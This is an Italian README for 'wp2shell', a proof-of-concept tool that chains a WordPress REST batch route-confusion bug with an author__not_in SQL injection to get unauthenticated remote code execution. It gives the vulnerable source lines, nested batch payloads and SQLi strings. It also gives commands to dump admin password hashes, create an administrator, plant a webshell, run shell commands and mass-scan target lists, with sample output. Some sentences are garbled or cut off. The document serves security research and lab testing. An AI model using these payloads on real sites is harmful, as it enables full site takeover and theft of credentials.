
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE non autenticata nel core di WordPress
REST API confusione di route batch (CVE-2026-63030) combinata con un'iniezione SQL
author__not_ininWP_Query(CVE-2026-60137) → esecuzione remota di codice pre-autenticazione su un'installazione WordPress predefinita.Scoperta da Adam Kues (Assetnote / Searchlight Cyber), divulgata il 2026-07-17. Advisory: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Catena (RCE non autenticata) | WordPress 6.9.0 - 6.9.4 e 7.0.0 - 7.0.1 |
| Solo SQLi (richiede un plugin/tema facilitatore) | 6.8.0 - 6.8.5 |
| Non vulnerabili | ≤ 6.8 per la confusione di batch; 6.9.5 / 7.0.2 / 7.1-beta2 (corrette) |
| Prerequisiti | API REST raggiungibile; nessuna cache di oggetti persistente (Redis/Memcached); almeno 1 articolo pubblicato |
| Autenticazione richiesta | nessuna |
| Impatto | non autenticato → creare un nuovo amministratore → esecuzione di codice (la SQLi esfiltra anche l'hash dell'amministratore) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests e senza funzionalità rotte.shell senza credenziali forgia un falso WP_Post tramite la confusione UNION del singolo post, usa il customizer come ponte per creare un nuovo amministratore (POST /wp/v2/users), accede e rilascia una webshell protetta da token. Il dump dell'hash admin tramite SQLi (read --preset users) è mantenuto come secondo percorso verificato.block_cannot_read), usato come check primario e non distruttivo.sqli) verificato, che gli altri PoC non hanno.$wp$2y$ (-m 35500).wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
I sei PoC pubblici da cui questo tool attinge non sono inclusi qui; sono collegati in Crediti.
Tutto ciò che segue è stato verificato nel lab Docker locale (vedi §4); le affermazioni che non sono state eseguite in laboratorio sono etichettate come tali.
La catena salda due bug indipendenti. I numeri di riga provengono dal codice sorgente reale di WordPress 6.9.4 (estratto da wordpress:6.9.4-apache).
author__not_in (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
Un author__not_in di tipo stringa salta il controllo is_array() (2404); implode(',', (array)"…") lo restituisce invariato (2408) e viene concatenato grezzo nella SQL (2409). Il gemello author__in (2415) riapplica array_map('absint', …) dentro la implode ed è sicuro: quel array_map mancante è il bug. Il valore finisce come ... post_author NOT IN (<valore>) ..., quindi 0) <sql>-- - chiude la lista e aggiunge SQL.
Ottenere una stringa lì è la parte difficile: l'endpoint REST dei post mappa author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) ma lo dichiara 'type' => 'array' di interi, quindi il core converte/rifiuta una stringa:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
Ecco perché il Bug A da solo è solo “facilitato”. Il Bug B fa passare la stringa oltre la validazione su 6.9+.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
Una sub-request WP_Error viene inserita in $validation[] (1752) ma non in $matches[] (il continue a 1753 salta 1757), quindi $matches è più corto e $matches[$i] (1841) contiene l'handler della successiva request. La request i viene inviata con l'handler della request i+1, portando i propri parametri e il proprio verdetto di validazione (superato).
Origine della regressione (verificata con diff 6.8.3 → 6.9.4): in 6.8.3 il ciclo inserisce $matches[] = $match per ogni request e i percorsi errati vengono scartati nel primo ciclo: gli array restano allineati, nessun desync. Il refactoring di 6.9.0 ha introdotto lo scarto. È esattamente il motivo per cui 6.8.x è “solo SQLi” e la catena RCE inizia dalla 6.9.0.
La patch aggiunge $matches[] anche per le voci di errore, indurisce la rientranza (re-entrancy) e analizza author__not_in con un helper per liste di ID. (6.9.5 non era su Docker Hub al momento del test, quindi questa informazione proviene dagli advisory, non da un diff di laboratorio.)
Lo schema batch consente solo sub-request POST/PUT/PATCH/DELETE, ma get_items dei post (il sink author_exclude) è solo GET, quindi la confusione viene annidata due volte:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
/// è il primer del desync (funziona qualsiasi percorso che wp_parse_url() rifiuta). Il tool include anche una versione --variant categories dello stesso trucco.
Una singola sonda non distruttiva e indipendente dalla versione conferma CVE-2026-63030 anche quando il sink SQLi è in cache di oggetti o filtrato da WAF: un batch di sub-request POST in cui il desync fa sì che POST /wp/v2/posts riceva risposta dalla callback di autorizzazione del block-renderer:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check usa questo come segnale primario (con la forma strutturale post-vs-term come fallback). (Tecnica di rilevamento: Hadrian / Icex0.)
Il valore si trova dentro NOT IN (<valore>), un oracolo booleano pulito: 0) AND (<cond>)-- - restituisce righe se e solo se <cond> è vera. L'estrazione è una ricerca binaria carattere per carattere su ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (la COALESCE evita che un NULL cortocircuiti in una lettura vuota).
Nota di laboratorio - il time-based richiede attenzione. Un ingenuo
0) OR SLEEP(n)-- -non produce alcun ritardo su un'installazione predefinita: le righe pubblicate soddisfano prima la query e cortocircuitano l'OR. La conferma è un differenziale booleano deterministico; il timing usa0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Rilevato 0.01s contro 3.04s.
La RCE pratica non richiede né password né cracking. shell senza credenziali esegue l'intera catena, tutta verificata in laboratorio:
WP_Post. Una seconda variante di confusione raggiunge una query pulita e utilizzabile con UNION: /wp/v2/posts/999999?orderby=none&per_page=500 viene validata contro lo schema del singolo post (quindi i parametri solo-collezione passano senza controlli), poi viene desincronizzata sull'handler della collezione dei post. orderby=none rimuove l'ORDER BY finale e per_page=500 mantiene WP_Query in modalità riga completa, così una UNION SELECT sopravvive come riga wp_posts fabbricata.oembed_cache + customize_changeset (con user_id impostato sull'ID di un admin esistente, letto tramite la UNION) + nav_menu_item. Attivare l'oEmbed fa eseguire la changeset del customizer .Alternativa precedente (--user/--password). read --preset users esfiltra wp_users.user_pass (il $wp$2y$… di WordPress 6.9 = bcrypt su HMAC-SHA384; crack con hashcat -m 35500), poi shell --user/--password accede con il testo in chiaro recuperato. È reale, ma bcrypt la rende lenta, quindi la catena di creazione admin sopra è il percorso canonico.
6.8.x ha il Bug A ma non il Bug B, e il core converte author_exclude in un array di interi, quindi la SQLi è raggiungibile solo tramite un plugin/tema facilitatore che passa a WP_Query una stringa grezza. Il sottocomando sqli inietta direttamente in un sink del genere (time-based di default; boolean veloce con --true-contains). Dimostrato contro il facilitatore lab/sqli-only su 6.8.3.
wp2shell.pyFile singolo, Python 3.7+, solo libreria standard. Trasporto pronto per la produzione su ogni comando: --insecure (TLS autofirmato), -H 'K: V' (ripetibile), --user-agent, --proxy, --retries, --delay.
check fingerprint + confusion marker + confirm the SQLi (non-destructive)
read read the DB via blind SQLi (--preset fingerprint|users | --query "SELECT …")
shell RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan threaded vuln-check over a single URL OR a .txt list (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # or reuse an existing admin
./wp2shell.py scan https://target --prove # single URL, extract @@version as proof
./wp2shell.py scan targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # full version × DB matrix
# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
L'admin del lab è admin / Admin!2345 - il plaintext è noto solo perché il lab possa dimostrare la shell post-autenticazione; un attaccante reale recupera l'hash e lo cracka.
L'ambito DB è limitato a MySQL e MariaDB - il core di WordPress non parla nessun altro motore in produzione (nessun driver PostgreSQL/MSSQL; SQLite solo tramite un plugin raro).
Ogni comando è stato esercitato in laboratorio: check (marcatore block_cannot_read + boolean + time), read (fingerprint / users / --query), shell (create-admin senza crack → login → webshell → uid=33(www-data), più --user/--password e REPL interattivo), sqli (boolean + time), scan (URL singolo + .txt + --json + --prove), il payload --variant categories, l'auto-rilevamento dell'endpoint (/wp-json/ + ) e i flag di trasporto.
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!... (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read), VulnCheck.wp2shell.py, nessun codice copiato alla lettera):
WP_Post tramite la confusione di route del singolo post, orchestra un grafo oembed_cache + customize_changeset (user_id=admin) + così che il customizer venga eseguito come un admin esistente, poi per creare un nuovo amministratore.Solo per test di sicurezza autorizzati e formazione - sistemi di tua proprietà o per i quali hai un'autorizzazione scritta. Tutto lo sfruttamento qui presente è stato eseguito contro un lab Docker locale, usa e getta; la webshell è protetta da token e il comando predefinito è innocuo. Sei responsabile di come usi questo strumento.
POST /wp/v2/users con roles:["administrator"] ora riesce sotto il contesto admin preso in prestito, e un nuovo amministratore wp2_* appare in wp_users (verificato: una nuova riga admin).update.php?action=upload-plugin, esegui comandi. Verificato: uid=33(www-data).| WordPress | Motore DB | Percorso | check | Dati estratti |
|---|
| 6.9.4 | MariaDB 11 | catena batch | ✅ RCE completa | hash admin $wp$2y$… + @@version |
| 7.0.1 | MariaDB 11 | catena batch | ✅ RCE completa | hash admin |
| 6.9.4 | MySQL 8.4 | catena batch | ✅ RCE completa | hash admin (payload portabili) |
| 6.8.3 | MariaDB 11 | catena batch | ⛔ 207 ma nessuna confusione | - (coerente con l'advisory) |
| 6.8.3 | MariaDB 11 | sqli facilitato | ✅ CVE-2026-60137 | @@version, user, db - boolean e time-based |
?rest_route=nav_menu_itemPOST /wp/v2/usersunion_inject confusione su singolo post, UnionSQLi, PreAuthAdminCreator), il rilevatore del marcatore block_cannot_read, l'estrazione COALESCE null-safe e il timing resistente al jitter.$wp$2y$ → hashcat -m 35500): hashpwn / hashcat.